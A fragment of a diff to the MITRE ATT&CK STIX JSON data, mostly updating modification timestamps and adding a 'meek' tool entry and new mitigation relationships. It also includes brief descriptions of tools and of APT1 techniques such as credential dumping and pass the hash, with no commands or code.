-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "gsecdump",
             "description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)\n\nAliases: gsecdump",
             "labels": [
@@ -21124,7 +22827,7 @@
                 {
                     "source_name": "TrueSec Gsecdump",
                     "description": "TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.",
-                    "url": "http://www.truesec.com/Tools/Tool/gsecdump%20v2.0b5"
+                    "url": "https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5"
                 }
             ],
             "object_marking_refs": [
@@ -21139,7 +22842,7 @@
             "id": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:46.890Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "hcdLoader",
             "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18. (Citation: Dell Lateral Movement)\n\nAliases: hcdLoader",
             "labels": [
@@ -21169,7 +22872,7 @@
             "id": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:45.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "httpclient",
             "description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)\n\nAliases: httpclient",
             "labels": [
@@ -21199,7 +22902,7 @@
             "id": "tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:03.377Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ifconfig",
             "description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)\n\nAliases: ifconfig",
             "labels": [
@@ -21229,7 +22932,7 @@
             "id": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:02.863Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ipconfig",
             "description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)\n\nAliases: ipconfig, ipconfig.exe",
             "labels": [
@@ -21255,12 +22958,37 @@
                 "ipconfig.exe"
             ]
         },
+        {
+            "type": "tool",
+            "id": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "meek",
+            "description": "is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.\n\nAliases: meek",
+            "labels": [
+                "tool"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0175",
+                    "external_id": "S0175"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "meek"
+            ]
+        },
         {
             "type": "tool",
             "id": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:03.773Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "nbtstat",
             "description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)\n\nAliases: nbtstat, nbtstat.exe",
             "labels": [
@@ -21291,7 +23019,7 @@
             "id": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:06.083Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "netsh",
             "description": "netsh is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)\n\nAliases: netsh, netsh.exe",
             "labels": [
@@ -21322,7 +23050,7 @@
             "id": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:04.545Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "netstat",
             "description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)\n\nAliases: netstat, netstat.exe",
             "labels": [
@@ -21353,7 +23081,7 @@
             "id": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:44.700Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "pngdowner",
             "description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)\n\nAliases: pngdowner",
             "labels": [
@@ -21383,7 +23111,7 @@
             "id": "tool--9de2308e-7bed-43a3-8e58-f194b3586700",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:13.051Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "pwdump",
             "description": "pwdump is a credential dumper. (Citation: Wikipedia pwdump)\n\nAliases: pwdump",
             "labels": [
@@ -21413,7 +23141,7 @@
             "id": "tool--c11ac61d-50f4-444f-85d8-6f006067f0de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:04.151Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "route",
             "description": "route can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)\n\nAliases: route, route.exe",
             "labels": [
@@ -21444,7 +23172,7 @@
             "id": "tool--c9703cd3-141c-43a0-a926-380082be5d04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:07.218Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "schtasks",
             "description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)\n\nAliases: schtasks, schtasks.exe",
             "labels": [
@@ -21475,7 +23203,7 @@
             "id": "tool--4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:11.941Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "xCmd",
             "description": " (Citation: xCmd) is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems. (Citation: xCmd)\n\nAliases:  (Citation: xCmd)",
             "labels": [
@@ -21505,7 +23233,7 @@
             "id": "relationship--a48d44d2-a84c-45dc-9a59-2bc21f2f2301",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0",
             "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
@@ -21518,7 +23246,7 @@
             "id": "relationship--dd315296-ffee-4f1b-aef7-2d914c458fd2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6",
             "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48",
@@ -21531,7 +23259,7 @@
             "id": "relationship--1da0f3c7-d9e2-4379-a84c-782fc94a75d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8",
             "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
@@ -21544,7 +23272,7 @@
             "id": "relationship--3d635b23-78b7-4de4-9417-8077787c7c0b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97",
             "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
@@ -21557,7 +23285,7 @@
             "id": "relationship--bb55d7e7-28af-4efd-8384-289f1a8b173e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425",
             "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
@@ -21565,12 +23293,25 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--0c2ba74b-a5b0-493c-84f3-41b6131070a0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6",
+            "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--8b439661-99e2-4410-b043-082155793155",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e",
             "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
@@ -21583,7 +23324,7 @@
             "id": "relationship--620ab17a-3e46-4083-82b0-aeff74d104cd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301",
             "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
@@ -21596,7 +23337,7 @@
             "id": "relationship--e1275bcd-0462-4f79-b18f-2132b0bb74ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4",
             "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61",
@@ -21609,7 +23350,7 @@
             "id": "relationship--a38d4ac5-1d3d-4a2f-9493-ff3e2a4669b8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f",
             "target_ref": "attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566",
@@ -21622,7 +23363,7 @@
             "id": "relationship--3e89d94b-5e6f-48b3-ba80-d366940fa968",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b",
             "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
@@ -21635,7 +23376,7 @@
             "id": "relationship--06cd0498-7ebb-41e6-9399-c43c82487540",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d",
             "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
@@ -21648,7 +23389,7 @@
             "id": "relationship--758b6582-b988-4ab9-911e-e40c9bbebc2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.031Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5",
             "target_ref": "attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d",
@@ -21661,7 +23402,7 @@
             "id": "relationship--fa04ac7f-206f-42ad-b0c7-499e57bc99ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152",
             "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
@@ -21674,7 +23415,7 @@
             "id": "relationship--b8306976-370f-403d-9983-fe3327c00709",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.019Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294",
             "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
@@ -21687,7 +23428,7 @@
             "id": "relationship--9952a93f-d009-48e5-a618-8e8f97a55685",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf",
             "target_ref": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8",
@@ -21700,7 +23441,7 @@
             "id": "relationship--1a3de27b-377c-4390-9911-2da8aaa705e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332",
             "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
@@ -21713,7 +23454,7 @@
             "id": "relationship--49dd2ac1-cd3a-46db-89d7-307c65971a3d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.024Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751",
             "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
@@ -21721,12 +23462,25 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--d18d4353-e344-4759-b51b-ed39ab2b5f46",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8",
+            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--cade3e14-aab4-4297-b77d-019d3ee0ccef",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c",
             "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
@@ -21739,7 +23493,7 @@
             "id": "relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f",
             "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
@@ -21752,7 +23506,7 @@
             "id": "relationship--0b0884f1-1a40-436e-9a74-8cbe9c9d6732",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d7c49196-b40e-42bc-8eed-b803113692ed",
             "target_ref": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
@@ -21765,7 +23519,7 @@
             "id": "relationship--02f28dfb-4e72-47e2-a390-2ec3fa67d26d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
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             "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
@@ -23533,7 +25508,7 @@
             "id": "relationship--e24bd0ff-bc9e-4d26-84ea-008acb4975a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d",
             "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
@@ -23546,7 +25521,7 @@
             "id": "relationship--91af9744-413c-4e9c-bfdb-a9ca167e9bb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97",
             "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
@@ -23559,7 +25534,7 @@
             "id": "relationship--38d4c148-6fe8-4703-94e5-1b79b1cf5b8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.028Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736",
             "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
@@ -23572,7 +25547,7 @@
             "id": "relationship--243bf0fe-68eb-4d82-bbbf-d551611a0cd8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.025Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--308855d1-078b-47ad-8d2a-8f9b2713ffb5",
             "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
@@ -23585,7 +25560,7 @@
             "id": "relationship--a2ee3987-f7c9-41ce-8aca-fae8e8c2ef9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf",
             "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
@@ -23598,7 +25573,7 @@
             "id": "relationship--4b5bd2c6-b460-401d-8457-005add9037d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259",
             "target_ref": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4",
@@ -23611,7 +25586,7 @@
             "id": "relationship--d35b9e63-a236-47f4-9fa8-d04719858115",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025",
             "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
@@ -23624,7 +25599,7 @@
             "id": "relationship--cca3a63c-e00e-49d1-bf10-f2c21f3469e6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.017Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3",
             "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
@@ -23637,7 +25612,7 @@
             "id": "relationship--28b27852-4125-4639-a07b-0b97dfdb650a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has been known to use credential dumping.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
@@ -23658,7 +25633,7 @@
             "id": "relationship--c7823efd-005f-49ad-94cf-ebc44a87abed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by APT1 as a name for malware.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
@@ -23684,7 +25659,7 @@
             "id": "relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The APT1 group is known to have used pass the hash.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
@@ -23705,7 +25680,7 @@
             "id": "relationship--fc2ffb01-2c4e-429d-b4fd-e0d20678504a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The APT1 group is known to have used RDP during operations.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
@@ -23726,7 +25701,7 @@
             "id": "relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files, and MAPIGET steals email still on Exchange servers that has not yet been archived.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
@@ -23747,7 +25722,7 @@
             "id": "relationship--ea40711b-461d-4629-b1fd-5f020b1f3257",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has used batch scripting to automate execution of commands.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
@@ -23768,7 +25743,7 @@
             "id": "relationship--dd4c02ea-b54a-4753-beb5-3248d89a7e04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has used the Windows command shell to execute commands.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
@@ -23789,7 +25764,7 @@
             "id": "relationship--38a72b32-dc04-493d-8b92-31174c32f3ed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has collected files from a local victim.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
@@ -23810,7 +25785,7 @@
             "id": "relationship--43c34939-8236-4ddd-8def-0eb7b5fe62cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT1 has used RAR to compress files before moving them outside of the victim network.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
@@ -23831,7 +25806,7 @@
             "id": "relationship--19fce62c-ba70-4c20-bf74-0bca7886190c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
